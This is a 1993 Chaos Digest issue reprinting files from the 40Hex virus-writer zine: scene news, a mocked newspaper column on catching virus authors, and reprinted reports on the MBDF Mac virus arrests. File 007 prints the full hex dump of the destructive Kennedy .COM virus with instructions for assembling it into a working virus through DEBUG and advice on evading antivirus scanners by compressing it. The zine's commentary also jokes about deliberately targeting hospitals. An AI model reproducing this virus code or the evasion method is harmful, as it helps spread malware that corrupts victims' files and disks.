Chaos Digest Mercredi 9 Juin 1993 Volume 1 : Numero 49
ISSN 1244-4901
Editeur: Jean-Bernard Condat (
[email protected])
Archiviste: Yves-Marie Crabbe
Co-Redacteurs: Arnaud Bigare, Stephane Briere
TABLE DES MATIERES, #1.49 (9 Juin 1993)
File 1--40H VMag Number 6 Volume 2 Issue 2 #005-008(1) (reprint)
Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
available at no cost by sending a message to:
[email protected]
with a mail header or first line containing the following informations:
X-Mn-Admin: join CHAOS_DIGEST
The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299)
groups.
Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
466893. Back issues of ChaosD can be found on the Internet as part of the
Computer underground Digest archives. They're accessible using anonymous FTP:
* kragar.eff.org [192.88.144.4] in /pub/cud/chaos
* uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
* halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
* ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
* cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos
* ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
* nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
* orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos
CHAOS DIGEST is an open forum dedicated to sharing French information among
computerists and to the presentation and debate of diverse views. ChaosD
material may be reprinted for non-profit as long as the source is cited.
Some authors do copyright their material, and they should be contacted for
reprint permission. Readers are encouraged to submit reasoned articles in
French, English or German languages relating to computer culture and
telecommunications. Articles are preferred to short responses. Please
avoid quoting previous posts unless absolutely necessary.
DISCLAIMER: The views represented herein do not necessarily represent
the views of the moderators. Chaos Digest contributors
assume all responsibility for ensuring that articles
submitted do not violate copyright protections.
----------------------------------------------------------------------
Date: Tue May 11 09:24:40 PDT 1993
From:
[email protected] (American_Eagle_Publication_Inc. )
Subject: File 1--40H VMag Number 6 Volume 2 Issue 2 #005-008(1) (reprint)
40Hex Number 6 Volume 2 Issue 2 File 005
I'm back, well kind of. Anyways, a lot of people have been
asking, "What's going on with the group?" The question should be, "What's
going on with any group these days?" It seems to me that 1992 was the death
of h/p, or at least the "ice age" of it. Everybody was either getting busted
or quitting the scene. Oh well, what can I say about it. Our group has been
having bad luck too. Five (now six) busted as well as other assorted bad
things happening to members.
Anyways, what's going on with us, huh?. Well the reason you
haven't heard much from us is because we haven't been releasing our new stuff
to BBS systems (BBS system sounds as redundant as PIN number, I know) because
we have a strong feeling that members of such groups as the CVIA are logging
on to h/p boards in the hope of snatching the latest viruses. Well not much
you can do about it if you run a BBS, unless you personnally know everyone
who calls your board. But come to think of it - what good does it prove to
release your newest creation to the general public (of the h/p crowd) via BBS
system? Isn't that the same principle as the warez puppy scene? I guess you
all can do whatever turns you on but we kind of decided that it would be in
our best interests to release our stuff to BBS's only after they have been
detected by the popular scanners or until they are kind of old. Not to fear,
40-HEX and "Dark Angel Phunky Writing Guide" will still be on boards at the
same rate as always.
As for all of you people bitching that no longer have sites
and that we are dead, well your dead - wrong. The current sites are as
follows (in no specific order) - Digital Warfare (yes it's back, at a new
number however), Time Lords BBS (The U.S.S.R System), The Phunline (yes it's
back), and the newest addition - Crow Technology. And as for us being dead
yeah right.
** Note from DecimatoR:
The U.S.S.R System recently went down, due to Time Lord getting into a little
hot water. It WILL return however... we're just not sure when. **
** Note from GHeap:
I am coming back, gimme mo' time!
So now with that out of the way, on the other news. Hmmm...
Michelangelo caused quite a scare there for a while. It was pretty cool
to see John, Patti, and the rest of the crew on T.V... John Dvorak has a new
half hour computer talk show on syndicated radio. I'm sure he wouldn't mind
if we got on the show some time soon. Check your local radio guide for your
local station and time... I am offering a standing bounty of $1,500 for the
person willing to fly to Ohio and kick Crow Meisters ass for good. A minor
would be preferred, being that he is under 18 and if I smashed him I could
get sued or something. Just kidding, Crow Meister is cool with me,
hihihihi... A new federal law is being considered which if passed will outlaw
the authorship of computer viruses totally, research or not. Read more about
that later in this issue... Hey, I might have a BBS up soon! I have been
saying that for the past 2 years haven't I? Well that's the news as I see
it, it's nice to be writing for this rag again.
Check ya in 25 to life....
Hellraiser P/S
1992
This article was typed by Time Lord for HR cuz he is WAY too lazy to send me
a disk in place of a fuckin print out...
+++++
40Hex Number 6 Volume 2 Issue 2 File 006
Well, this little news "tid-bit" came from Attitude Adjuster, one of the
few non-PHALCON/SKISM contributers (ok, the ONLY non P/S member), Thanks a
lot dude, keep the submissions coming. The article itself is quite sad,
and makes me question the intelligence of our opposition.
-)GHeap&Demo
Thanx to CZ for THE line.
---------------------------------------------------------------------------
- We need Computer Virus Snitches -
Written By Mike Royko, Tribune Media Services.
Retyped by The Attitude Adjuster
===========================================================================
Millions of computer users are wondering how to protect themselves
against the wave of viruses that are threatening their machines. I have a
suggestion.[So do I, avoid Bnu 1.90Beta]
First, they should remember that these viruses don't spring from
nature. They are little computer programs that are created and sent on
their way by people that are brainy, malicious and arrogant.[I am not
brainy]
So, the question is, how do you find the creators of computer
virus programs?
Because they are arrogant, it's likely that they want someone to
know what a clever thing they have done. They won't hold a press conference
[Actually, we do hold press conferences.See MichaelAlexander@Computerworld]
but chances are they will brag to a trusted friend or acquaintance or
fellow hacker.
It is sad, but the world is full of snitches.[Get a thesaurus] Look
at John Gotti, the nation's biggest Mafia boss. There was a time when it
was unthinkable for even the lowest-level Mafia soldier to blab. But now
Gotti has to sit in court while his former right-hand man tells about how
they got people whacked. [We whack people too]
So if Mafia figures can be persuaded to tattle[Na-na-na-na-na], is
there any reason to believe that nerds have a greater sense of honor and
loyalty? [Yes, we also have brains]
Of course[.] not, but how do you get them to do it?
Money. [Now yer talking... my mom is really the Dark Avenger, I want
my money now.]
These companies [what companies, I only hit hospitals] could use
petty cash to place ads in the computer magazines and on the electronic
bulletin boards. [Ok, call my BBS and post this tidbit. 40Hex now has ad
space available]
The ads would say something like: "A $50,000 reward for any
information leading to the arrest and conviction of virus authors."
[How can you convict a virus author. It isn't illegal. Go play Tank Wars.]
The next question would be what to do with the virus makers once
they have been caught. And that's the key to putting an end to the
problem: something that could be posted on those electronic bulletin
boards that might cause an aspiring virus-maker to go take a brisk walk
instead.
A judge would sit and listen to an attorney who would say some-
thing like this:
"Your honor, what we have here is an otherwise fine young man
from a good family. His father is a brilliant scholar, and the son will
someday be the same."[I am going to be a certified scholar when I grow up.]
"What he did was no more than an intellectual prank, a cerebral
challenge of sorts. Like the man who climbed Mount Everest because it was
there, he created the virus and sent it fourth because it was there."
Then, we can hope, the judge might say something like this:
"Yes, I am impressed by the defendant's brain power. And I
expected you to ask me to give him a slap on the wrist."
"However, he is not a child. He is an adult. And I would think
that so brilliant a grown man would know better than to amuse himself
by screwing with the lives of strangers." [I haven't screwed one stranger]
"It's as if he hid inside the businesses and institutions until
they were closed and everyone had gone home. Then he came out and went
through every filing cabinet and drawer and shredded or burned every bit
of useful information he could find."[Cool! Lets try it.]
"Now, counselor, what would you and your law partners say is some
street mope [See Thesaurus] did that to your firm - crept in and destroyed
every document in your offices? Including the names of clients that owe you
money. Hah, you would be in here asking me to hang him from a tree."[I love
hanging from trees]
"So don't give me that smart kid from a good family routine.
[I ain't smart, and family ain't good] He is a self-centered, insensitive,
uncaring, arrogant goofball [And damn proud]. He didn't give a second
thought to the chaos or heartbreak he would cause an adoption agency, a
hardworking businessman or a medical clinic." [Yes I did. I aim for them.]
"Therefore, I sentence him to the maximum sentence the law allows
in the local jailhouse [0, NUL, ZIP-o, /dev/null, etc..], which is a really
terrible place, filled with all sorts of crude, insensitive hulks."
[Jay-walkers]
"Bailiff, please get the defendent up off the floor and administer
some smelling salts."[More like, why is the defendant laughing?]
"And change his trousers, quickly."[Fuck you]
[]comments added by Demogorgon and GHeap
===========================================================================
I hope you enjoyed that one as much as I did! Okay, I
see some really neat things with this man's article. First off,
I'm sure he's an adept programmer... that is, he can probably
figure out how to get his VCR to tape something while he is
off writing his brilliant articles. I enjoy his narrow-minded
definition of virii (that was mentioned in 40Hex 5), of course,
all virii are those evil overwriting, trigger date, resident,
boot track infecting swine (yeah, he probably learned what a
virus was from watching ABC News covering the Michaelangelo
crisis!)
I also enjoy his opinion that all virus authors are
nerds. First off, what the hell is a nerd? I mean, I have
written a virus before (not saying it was any good), but, I
don't feel like a nerd! In fact, I feel quite superior to
most of the idiots like this guy. And, I like his great
statement about my loyalty. Yes, I'm gonna narc on [PHALCON/
[Forget this again, and die]]SKISM for $50,000!!! Yeah, right.
There are a lot of narcs on this not-so good earth, so choose
your friends wisely.
I'm quite sure that ads on BBS's (electronic bulletin
boards! No... cork ones!) would just sufficiently pump up user
discussion of virii. I'm not scared of fed intervention, and
I doubt any authors I know are either.
This was touched on in 40Hex 5, virus authors are not
responsible for the spread of their virii unless they are
actively spreading them! I mean, it's not my fault that K-Rad
Man sent my Hard Drive Blender (slices, dices, minces sectors)
to 1000 Bible boards in Utah. Apparently it hasn't dawned on
this guy that most virii are not written to be destructive.
Actually, that's a lie. There are a lot of virii out there that
are descructive, but that is changing. People like the
PHALCON/SKISM crew realize that not everything must be
destructive, opening the doors to much larger virus projects
(ie Bobisms)
One more thing... QUIT EQUATING THE WORD 'hacker' TO
EVERY DAMN TYPE OF ELECTRONIC 'crime!!!'
I'm gonna get this dude's phone #, I say we call him
sometime...
-The Attitude Adjuster-
+++++
40Hex Number 6 Volume 2 Issue 2 File 007
Lets see what good ole' Patty has to say about this:
Virus Name: Kennedy
Aliases: Dead Kennedy, 333, Kennedy-333
Scan ID: [Kennedy]
V Status: Endangered
Discovered: April, 1990
Symptoms: .COM growth; message on trigger dates (see text);
crosslinking of files; lost clusters; FAT corruption
Origin: Denmark
Eff Length: 333 Bytes
Type Code: PNCKF - Parasitic Non-Resident .COM Infector
Detection Method: ViruScan, Pro-Scan, VirexPC, F-Prot, VirHunt 2.0+,
NAV, IBM Scan 2.00+, AVTK 4.32+, VIRx 1.6+, CPAV 1.0+,
Novi 1.0.1+, Sweep 2.3.1+, UTScan
Removal Instructions: F-Prot, VirHunt 2.0+, or delete infected files
General Comments:
The Kennedy virus was isolated in April 1990. It is a generic
infector of .COM files, including COMMAND.COM.
This virus has three activation dates: June 6 (assassination of
Robert Kennedy 1968), November 18 (death of Joseph Kennedy 1969),
and November 22 (assassination of John F. Kennedy 1963) of any year.
On activation, the virus will display a message the following
message:
"Kennedy is dead - long live 'The Dead Kennedys'"
The following text strings can be found in the viral code:
"\command.com"
"The Dead Kennedys"
Systems infected with the Kennedy virus will experience
cross-linking of files, lost clusters, and file allocation table
errors (including messages that the file allocation table is bad).
--------------------------------Cut Here------------------------------------
n kennedy.com
e 0100 E9 0C 00 90 90 90 CD 20 4B 65 6E 6E 65 64 79 E8
e 0110 00 00 5E 81 EE 0F 01 8B AC 0B 02 B4 2A CD 21 81
e 0120 FA 06 06 74 28 81 FA 12 0B 74 22 81 FA 16 0B 74
e 0130 1C 8D 94 0D 02 33 C9 B4 4E CD 21 72 09 E8 17 00
e 0140 72 04 B4 4F EB F3 8B C5 05 03 01 FF E0 8D 94 20
e 0150 02 B4 09 CD 21 EB EF B8 00 43 BA 9E 00 CD 21 89
e 0160 8C 55 02 B8 01 43 33 C9 CD 21 B8 02 3D CD 21 8B
e 0170 D8 B4 3F 8D 94 52 02 8B FA B9 03 00 CD 21 80 3D
e 0180 E9 74 05 E8 7E 00 F8 C3 8B 55 01 89 94 0B 02 33
e 0190 C9 B8 00 42 CD 21 8B D7 B9 02 00 B4 3F CD 21 81
e 01A0 3D 65 64 74 DE 33 D2 33 C9 B8 02 42 CD 21 83 FA
e 01B0 00 75 D0 3D E8 FD 73 CB 05 04 00 89 84 5B 02 B8
e 01C0 00 57 CD 21 89 8C 57 02 89 94 59 02 B4 40 8D 94
e 01D0 05 01 B9 4D 01 CD 21 72 15 B8 00 42 33 C9 BA 01
e 01E0 00 CD 21 B4 40 8D 94 5B 02 B9 02 00 CD 21 8B 8C
e 01F0 57 02 8B 94 59 02 B8 01 57 CD 21 B4 3E CD 21 E8
e 0200 02 00 F9 C3 B8 01 43 8B 8C 55 02 CD 21 C3 03 00
e 0210 2A 2E 43 4F 4D 00 5C 43 4F 4D 4D 41 4E 44 2E 43
e 0220 4F 4D 00 4B 65 6E 6E 65 64 79 20 65 72 20 64 9B
e 0230 64 20 2D 20 6C 91 6E 67 65 20 6C 65 76 65 20 22
e 0240 54 68 65 20 44 65 61 64 20 4B 65 6E 6E 65 64 79
e 0250 73 22 0D 0A 24 00 00 00 00 00 00 00 00 00 00 00
e 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
rcx
027F
w
q
---------------------------------Cut Here-----------------------------------
Ok there it is. Not the most impressive virus around and its caught by just
about every scan on the market, but take PKLite to it and then remove the
PKLite header (Use NOLITE in this issue) and no one will be able to find it.
Anyway it gets the job done.
To make the above hex into a working file, first cut on the dotted lines.
Name the resulting file KENNEDY.TXT.
Then: DEBUG < KENNEDY.TXT and you'll have a working virus.
-Instigator
+++++
40Hex Number 6 Volume 2 Issue 2 File 008
Take a look at this. I picked it up on fidonet, originally from Virus-L
digest. all the stuff in *< >*'s are my comments.
- Demogorgon
------------------------------
VIRUS-L Digest Wednesday, 26 Feb 1992 Volume 5 : Issue 44
------------------------------
Date: Tue, 25 Feb 92 10:10:14 -0500
>From:
[email protected] (Mark Anbinder)
Subject: MBDF Suspects Arrested (Mac)
The Cornell Daily Sun reported in this morning's issue that two
Cornell University sophomores, David Blumenthal and Mark Pilgrim, were
arrested Monday evening and arraigned in Ithaca City Court on one
count each of second degree computer tampering, in connection with the
release of the MBDF virus that infected Macs worldwide over the last
several days. The two are being held in Tompkins County Jail.
*< huh? How does one get arrested for spreading a virus, you ask? read on >*
Further charges are pending.
---
** many lines of mail routing crap have been deleted **
Date: Tue, 25 Feb 1992 11:47:32 PST
>From:
[email protected] (Bill Lipa)
Subject: Alleged MBDF virus-creators arrested at Cornell
"Computer Virus Traced to Cornell Students"
by Jeff Carmona
[The Cornell Daily Sun, 25 February 1992]
Two Cornell students were arrested yesterday for allegedly creating and
launching *< launching ? Bon voyage, we launched you !>* a computer virus
that crippled computers around the world, according to M. Stuart Lynn, the
University's vice president for information technologies.
David Blumenthal '94 and Mark Pilgrim '94 were arrested by Department of
Public Safety officers and arraigned in Ithaca City Court on one count of
second-degree computer tampering, a misdemeanor, *< cool, its only a
misdemeanor, how bad could it be ? >* Lynn said.
Both students were remanded to the Tompkins County Jail and remained in
custody early this morning. They are being held on $2,000 cash or $10,000
bail bond, officials said.
Cornell received national attention in Nov. 1988 when Robert T. Morris
Jr., a former graduate student, was accused of unleashing a computer virus
into thousands of government and university computers.
Morris, convicted under the 1986 Computer Fraud and Abuse Act, was fined
$10,000, given a three-year probation and ordered to do 400 hours of
community service by a federal judge in Syracuse, according to Linda Grace-
Kobas, *< Whats a Koba?? >* director of the Cornell News Service.
Lynn would not compare the severity of the current case with Morris',
saying that "each case is different."
Lynn said the virus, called "MBDFA" was put into three Macintosh games --
Obnoxious Tetris, Tetriscycle and Ten Tile Puzzle.
On Feb. 14, the games were launched from Cornell to a public archive at
Stanford University in Palo Alto, Calif, Lynn said.
*< I guess these guys actually put it up on the archive under their own >*
*< accounts! Don't they know they can trace that stuff? duhhh... >*
>From there, the virus spread to computers in Osaka, Japan and elsewhere
around the world *< the archive was a dumb idea if thats how they got caught,
but it spread like hell >* when users connected to computer networks via
modems, he added. It is not known how many computers the virus has affected
worldwide, he explained.
When computer users downloaded the infected games, the virus caused "a
modification of system software," *< oooh...lets not get too technical >* Lynn
said. "This resulted in unusual behavior and system crashes," he added.
Lynn said he was not aware of anyone at Cornell who reported finding the
virus on their computers.
The virus was traced to Cornell last Friday, authorities were quickly
notified and an investigation began, Lynn said.
"We absolutely deplore this kind of bahavior," Lynn said. "We will pursue
this matter to the fullest."
Armed with search warrants, Public Safety investigators removed more than
a dozen crates full of evidence from the students' residences in Baker and
Founders halls on West Campus. *< sounds like a typical, over-kill bust to
me. If you don't know what it is, take it. >*
Public Safety officials refused to disclose the contents of the crates or
issue any comment about the incident when contacted repeatedly by phone last
night. *< thats because they don't know what the fuck the stuff is >*
"We believe this was dealt with very quickly and professionally," Lynn
said.
The suspects are scheduled to appear in Ithaca City Court at 1 p.m. today
and additional charges are pending, according to Grace-Kobas.
Because spreading a computer virus violates federal laws, "conceivably,
the FBI could be involved," she added. Officials with the FBI could not be
reached to confirm or deny this.
Blumenthal and Pilgrim, both 19-year-olds, were current student employees
at Cornell Information Technologies (CIT), Lynn said. He would not say
whether the students launched the virus from their residence hall rooms or
>From a CIT office.
Henrik N. Dullea '61, vice president for University relations, said he
thinks "the act will immediately be associated with the University," not
only with the individual students charged.
Because a major virus originated from a Cornell student in the past, this
latest incident may again "bring a negative reaction to the entire
institution," Dullea said. *< "blah, blah, blah" >*
"These are very selfish acts," Lynn said, referring to the intentional
distribution of computer viruses, because innocent people are harmed.
Lynn said he was unaware of the students' motive for initiating the virus.
Lynn said CIT put out a notice yesterday to inform computer users about the
"very virulent" virus. A virus-protection program, such as the new version of
Disinfectant, can usually cure computers, but it may be necessary to "rebuild
the hard drive" *< egad! Not the dreaded "virus-that-makes-you-rebuild-your-
hard-drive" !>* in some cases, he added.
A former roommate of Blumenthal said he was not surprised by news of the
arrest. Computers were "more than a hobby" for Blumenthal, said Glen Fuller
'95, his roommate from last semester. "He was in front of the computer all
day," Fuller said.
Blumenthal, who had a modem, would "play around with viruses because they
were a challenge to him," Fuller said. He said that, to his knowledge,
Blumenthal had never released a virus before.
-->-<------ Cut Here --------------------------
------------------------------
VIRUS-L Digest Friday, 28 Feb 1992 Volume 5 : Issue 46
------------------------------
Date: Wed, 26 Feb 92 11:08:45 -0800
>From:
[email protected] (Karyn Pichnarczyk)
Subject: CIAC Bulletin C-17: MBDF A on Macintosh (Mac)
NO RESTRICTIONS
_____________________________________________________
The Computer Incident Advisory Capability
___ __ __ _ ___
/ | / \ /
\___ __|__ /___\ \___
_____________________________________________________
INFORMATION BULLETIN
New Virus on Macintosh Computers: MBDF A
February 25, 1992, 1130 PST Number C-17
________________________________________________________________________
NAME: MBDF A virus
PLATFORM: Macintosh computers-except MacPlus and SE (see below)
DAMAGE: May cause program crashes
SYMPTOMS: Claris applications indicate they have been altered; some
shareware may not work, unexplained system crashes
DETECTION &
ERADICATION: Disinfectant 2.6,Gatekeeper 1.2.4, Virex 3.6,
VirusDetective 5.0.2, Rival 1.1.10, SAM 3.0
________________________________________________________________________
Critical Facts about MBDF A
A new Macintosh virus, MBDF A, (named for the resource it exploits)
has been discovered. This virus does not appear to maliciously cause
damage, but simply copies itself from one application to another.
MBDF A was discovered at two archive sites in newly posted game
applications, and has a high potential to be very widespread.
Infection Mechanism
This virus is an "implied loader" virus, and it works in a similar
manner to other implied loader viruses such as CDEF and MDEF. Once
the virus is active, clean appliacation programs will become infected
as soon as they are executed. MBDF A infects only applications, and
does not affect data files. This virus replicates under both System 6
and System 7. While MBDF A may be present on ALL types of Macintosh
systems, it will not spread if the infected system is a MacPlus or a
Mac SE (although it does spread on an SE/30).
Potential Damage
The MBDF A virus has no malicious damaging characteristics, however,
it may cause programs to inexplicably crash when an item is selected
from the menu bar. Some programs, such as the shareware
"BeHierarchic" program, have been reported to not operate correctly
when infected. Applications written with self-checking code, such as
those written by the Claris corporation, will inform the user that
they have been altered.
When MBDF A infects the system file, it must re-write the entire
system file back to disk; this process may take two or three minutes.
If the user assumes the system has hung, and reboots the Macintosh
while this is occuring, the entire system file will be corrupted and
an entire reload of system software must then be performed.
This virus can be safely eradicated from most infected programs,
although CIAC recommends that you restore all infected files from an
uninfected backup.
------------------------------
End of Chaos Digest #1.49
************************************
